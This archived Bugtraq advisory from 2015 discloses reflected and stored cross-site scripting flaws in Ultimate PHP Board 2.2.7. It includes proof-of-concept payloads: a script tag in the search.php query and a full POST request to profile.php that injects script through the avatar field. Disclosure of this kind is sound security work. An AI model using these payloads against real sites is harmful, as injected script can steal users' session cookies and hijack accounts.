lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 5 Mar 2015 10:58:13 GMT
From: prathan.ptr@...il.com
To: bugtraq@...urityfocus.com
Subject: Ultimate PHP Board (UPB) 2.2.7 Cross Site Scripting Vulnerability

= Ultimate PHP Board (UPB) 2.2.7 Cross Site Scripting Vulnerability =

-----------------------------------------------------------------------
Vendor Homepage : http://www.myupb.com
Software Link   : http://downloads.sourceforge.net/project/textmb/UPB/UPB%202.2.7/upb2.2.7.zip
Version         : 2.2.7
-----------------------------------------------------------------------

################
  Descriptions
################

myUPB is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. 
This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

myUPB 2.2.7 is vulnerable; other versions may also be affected.

#########################
  Vulnerability Detail
#########################

1. Reflect Cross Site Scripting (search.php)
POC: 
/search.php?q='><script>alert(1)</script>
		
2. Stored Cross Site Scripting (profile.php)	
POC:
POST /upb/profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: th-th,th;q=0.8,en-us;q=0.6,en-gb;q=0.4,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/upb/profile.php
Cookie: timezone=0; lastvisit=1425552811; user_env=test; uniquekey_env=8806b913721aaf992f09134c89031d58; power_env=1; id_env=2; PHPSESSID=5jjiir5d83mbqh2s7da0gckd97
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------287611866431947
Content-Length: 716
-----------------------------287611866431947
Content-Disposition: form-data; name="u_email"
t@...om
-----------------------------287611866431947
Content-Disposition: form-data; name="u_loca"
th
-----------------------------287611866431947
Content-Disposition: form-data; name="avatar"
images/avatars/chic.jpg'><script>alert("hacked");</script>
-----------------------------287611866431947
Content-Disposition: form-data; name="u_site"
http://
-----------------------------287611866431947
Content-Disposition: form-data; name="u_timezone"
0
-----------------------------287611866431947
Content-Disposition: form-data; name="u_edit"
Submit
-----------------------------287611866431947--

Regards,
Prathan Phongthiproek

Powered by blists - more mailing lists